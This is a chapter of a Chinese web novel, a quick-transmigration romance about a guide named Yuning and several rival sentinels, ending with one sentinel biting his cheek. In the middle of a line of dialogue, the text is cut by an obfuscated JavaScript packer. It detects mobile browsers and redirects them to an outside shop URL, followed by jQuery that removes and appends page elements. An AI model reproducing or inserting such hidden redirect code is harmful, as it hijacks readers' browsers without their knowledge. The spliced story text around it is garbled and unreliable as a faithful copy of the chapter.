文趣网 > 都市小说 > 禁止觊觎圣父白月光[快穿] > 6. 白塔的公用向导(6)
    深夜寒风微凛,万籁俱寂,众人都睡得很熟。

    玉宁不禁开始回想,他这个奇怪嗜好究竟是从什么时候开始的。

    具体时间他自己也记不大清了,只记得第一次触碰到的感觉。

    仅仅是指尖贴上对方的掌心,仿佛有无数片羽毛在心头轻拂,浑身忍不住战栗起来,他几乎是强忍着才不让自己叫出声。

    那时他脸上的神情一定很奇怪,才会让那人担心地问他是不是生病了。

    他勉强地摇头,把脸别开,不想让人看见自己失控的时刻。

    从那时起他就发现自己很喜欢这种触碰。

    无聊漫长的祭祀日程中,那大概是他唯一能醒来的瞬间。

    后来他死了,来到这个奇怪的新世界,仍旧同先前一样履行拯救他人的职责,不同的只是他见到的人更多。

    在塔为那些哨兵疏导时他会戴上手套,这对他来说是份特殊的工作,他不愿意在工作时让同事发现不为人知的小癖好。

    毕竟上一世时,只有那个人知道他的“秘密”。

    但玉宁不知道是不是自己忍太久的原因,现在伊莱明明只是轻轻抚摸他的手心,一重高过一重的快.几乎快要将他淹没,像潮水般层层漫上来,堵住了喉咙口。

    “队长,停一下……”

    他挤出干涩的声音,随后立即闭上眼调整呼吸,胸膛不规律地起伏着,睫羽剧烈地颤抖,仿佛蝴蝶翩跹的羽翼。

    火光将他的面容映照得愈发清晰,白皙脸颊氤氲上暧昧的淡粉色,从颧骨一路烧到耳根。

    【圣父值+1】

    伊莱诧异地挑起眉,凑过去轻轻开口:“玉宁?你还好吗?你看上去……好像很不舒服。”

    金发哨兵直勾勾盯着玉宁,语气关切,可眼底淡淡的笑意却忘了藏起来。

    玉宁此时总算缓过来些许,馥郁浅粉缓缓从眼角褪去。他抬眼望回去,琉璃似琥珀色的眼珠微微一转,仿佛在说,既然什么都知道了,还装傻?

    伊莱心神微动,他眨了眨眼,笑着把掌心朝上放于玉宁面前,“那向导大人,再为我疏导会吧。”

    玉宁垂下眸没作声。

    指尖轻动,仿佛在衡量些什么,良久,他把手轻轻地搭上去。

    算了,就当是他辛苦工作的报酬。

    况且……

    哨兵小心合起手,轻轻握住他的手指。

    掌心的温度透过薄薄皮肤传进来。

    【圣父值+1】

    ……

    贺凌然和往常一样醒得很早。睁开眼看向身侧,昨晚还笑着和他道晚安,躺在他身边的人已经不见了。

    帐篷里空空荡荡。

    他撩开帘子走出去,几乎没怎么费力搜寻,便看清了不远处倚靠着的两个人影。

    玉宁靠在哨兵的肩膀上睡着了,闭着眼神色平和,胸口随着呼吸缓慢起伏。

    他单薄的身躯披着件宽大外套,外套帽子虚虚盖住他的脸,脸颊在哨兵硬挺的肩膀微微压出一点弧度,肌肤冷白,灰调晨光落在上面像渡了层薄霜。

    打眼望去,玉宁仿佛整个人依赖在哨兵怀里。

    伊莱一夜未睡,依旧神采奕奕,他笑着对贺凌然打了个招呼:“早。”

    贺凌然的嘴唇抿得平直,神色冷得毫无情绪。

    伊莱和他对视了两秒,伸手将玉宁肩膀滑落的外套扯了扯。

    贺凌然默不作声,转身走了。

    又过了一会,玉宁朦胧地转醒。他眨了眨眼,视线从模糊逐渐聚焦,意识到自己正靠在伊莱怀里,连忙直起身子,嗓音还带着刚醒的沙哑:“现在什么时候了?”

    伊莱自然为他撩起黏在脸颊的发丝。

    “大概快到集合时间了,有人在急着整理物资呢。”

    玉宁顺着伊莱指向的望去,贺凌然正面无表情扛起两个厚重背包,重重扔到上车点,闷响砸在地面上,扬起细碎灰尘。随后他迅速转身,又去转移下一轮物资。

    他弄出的动静不小,其他醒来的人见状,不好意思再赖在帐篷休息,纷纷自发地出来搬自己的物品。

    玉宁起身过去要帮忙,却发现贺凌然已经把他的包搬出来了,挤在物资堆最里面,是第一个拿出来的。

    背包沾了些灰,但被仔细地侧放在避风处,没被压在其他的重物底下。

    “谢谢。”他走到贺凌然身边,语气温和。

    贺凌然蹲着整理物资,没抬眼,手上动作不挺,语气冷淡:“那麻烦你也跟队长说一声,就剩他的东西没搬,不要耽误大家的时间。”

    玉宁愣了下,随即笑道:“队长的还没拿吗?那我直接帮他拿好了。”

    贺凌然顿住,过了会才又开口:“随便你。”

    话没说完,贺凌然抬脚就走了,脸色似乎比刚才更难看。

    玉宁站在原地,只看见哨兵紧紧绷住的下颌。

    他茫然地眨了眨眼。

    不过托贺凌然的福,队伍整合的速度很快。原本三人小队,现在加上四个人,半小时就收拾好了一切。

    众人坐在营地门口等原野过来汇合。

    风沙比昨夜小了点,但天色依旧灰沉沉的,分不清太阳在哪个方位。

    “兄弟,还有多久啊,等一小时了。”

    一个哨兵隔空杵了杵旁边的贺凌然,却连半点眼神都没得到。

    贺凌然的视线一直落在某个地方。

    循着他的目光望去,玉宁正在和程川聊天。

    青年面带微笑,神态柔和,而他身旁的程川,恨不得眼珠子都粘在玉宁脸上。

    程川颧骨还挂着贺凌然留下的青紫,他浑然不觉得疼,嘴角快要咧到耳后根。

    贺凌然的神色始终没变,可他旁边的哨兵却觉得,周遭看不见的压迫气息越来越浓烈,仿佛身边是什么捕猎前的凶恶野兽,冷气直从脚底往上钻。

    明明贺凌然刚才还是帮忙搬物资的热心小伙。

    那哨兵缩了缩脖子,默默离这尊凶煞远了几米。

    不远处,玉宁似乎察觉到什么。他抬起头,刚要与贺凌然的视线交汇上,伊莱忽然走到他面前,挡住了那道目光。

    “原野到了。”伊莱说。

    漫无边际的灰黄沙漠尽头,一辆越野车正以极快的速度驶来,轰鸣声由远及近,稳稳停在营地门口。

    车轮底下扬起大片沙土,呛得人纷纷掩面。

    里头的人没下车,车窗缓缓摇下半边,毫无情感的男声从缝隙传出。

    “准备好了就出发。”

    玉宁看着来人隐没在车窗里的半边侧脸,抿唇凝神,不知在思考些什么。

    “你觉得呢?”伊莱的声音拉回了他的思绪。

    他转过头,面上神色恍惚,显然伊莱刚才说了什么,他完全没听见。

    伊莱笑了笑,耐心重复一遍:“你坐哪辆车?”

    营地里还有两辆车,如今他们七个人,怎样分配都行。

    玉宁没开口,就听见极大“砰”地一声。

    贺凌然径直上了最末尾那辆车,用力关上驾驶座的门,震得整个车身都晃了下。

    玉宁眨了眨眼,恍惚觉得有道灼热视线正透过那辆车的玻璃直射出来,恨不得将他烧出个洞来。

    他轻轻笑了笑,对伊莱道:“我和你一辆车吧。”

    几乎他话语落下的同时,尾车发动了引擎,厚重嗡鸣声刺耳难听。

    伊莱勾了勾嘴角,“好啊,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949323|214133||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那我们快点上车吧,贺凌然好像等不及要回去了。”

    ……

    来程玉宁坐着伊莱开的车,那也是他们第一次见面,两人都没怎么说话。

    回去他也和伊莱坐一起,不同的是这回旁边多了几个人。

    那几个被救上来的哨兵不敢和原野一辆车,也不愿意触贺凌然的霉头,争着抢着都挤上了这辆车。

    好在这辆车后车厢空间大,勉强容纳得下这些手长腿长的哨兵。

    那个叫缪尔的男生也在车上。

    棕褐色卷发,眉眼深邃,但那双眼睛总不正眼看着人,仿佛还处在故意拿腔作范的年纪。

    玉宁疑心缪尔成年了没有。

    缪尔同样掀起眼皮扫了眼对面。

    拥挤的车厢里,玉宁和伊莱并排而坐,由于空间狭窄,肩膀紧贴对方的肩膀,偶尔车子颠簸,两人的脑袋轻轻磕到一块,谁都没刻意躲开,像已经习惯了这种距离似的。

    缪尔忽地冷笑出声:“伊莱,没想到你还挺享受的,做任务还带着……”

    他又飞快地看了眼玉宁,没说话,可眼神好像已经说明一切。

    玉宁却好像没听懂:“带着什么?”

    青年笑眯眯的,嘴角弧度漂亮又温柔,脸颊上梨涡浅浅,仿佛带着天生的好脾气,一点看不出被冒犯的模样。

    缪尔的嘴唇很轻微地动了下,随后,他抱起双臂没再开口。

    车内静默无声。

    可车子行驶速度实在快,外头沙土飞溅,发动机声音听得人耳朵也嗡嗡的。

    喧闹里头,伊莱轻轻凑到玉宁耳边:“缪尔是我表弟,说话向来这样,回去我肯定告他一状。”

    “他说什么了,你要告他的状?”玉宁轻轻抿唇,“难道队长真的带了什么奇怪的东西来?”

    青年的神情真挚又肯定,伊莱竟有瞬间哑然。

    他没说什么,只是又勾了勾玉宁的手指,玉宁微微垂下眼没看他,微凉手指却很自然地碰进他掌心。

    在衣袖的遮挡下,在众人视线死角,两人腿靠着腿,手指亲热黏糊地勾起来,面上神情却一个比一个无辜。

    ……

    车子不知晃悠了多久,众人终于瞧见那巍峨高耸的大门,银质冷淡的光泽,彰显联邦无穷的威严。

    门侧篆刻一列字——“联邦作战指挥部”。

    车停稳,伊莱先下车为众人打开后车门。

    等其余人陆续下来,玉宁才跳下车。他还没站稳脚步,迎面便撞上个坚硬的胸膛,撞得他鼻尖发酸脸颊生疼。

    生理性的泪水瞬间濡湿睫毛根部。

    玉宁揉着眼睛抬起头,透过刺眼的太阳光勉强看清男人的脸。

    男人个子极高,背光站着,更显肩宽体壮,影子几乎将玉宁整个人笼罩住。

    他的相貌和他的声音很像,说不出有什么特别出众的地方,整体气势却凌厉非常,像把没有锋刃却压得人喘不过气的古刀。

    玉宁伸出手,脸颊还带着被撞出来的红,眼底水光微微。

    “原野你好,初次见面,我叫玉宁,是你们小队的……”

    原野忽然凑近了他。

    哨兵低着头,发丝几乎要碰上他的头顶,那双眼睛漆黑得过分,见不着半点杂质的纯净的黑。认真盯着他,不带半点情绪,像在认真打量研究什么稀罕的东西。

    鼻尖贴上他脸侧的发丝,轻轻地嗅了嗅。

    随后玉宁睁大眼睛,下意识捂住自己的脸颊。

    刚下车的众人离得很近,此刻都确信自己看清了发生一切。

    原野轻嗅片刻玉宁的头发,然后嘴唇忽然贴上玉宁柔软的脸颊。

    不是轻吻上去,而是咬了上去。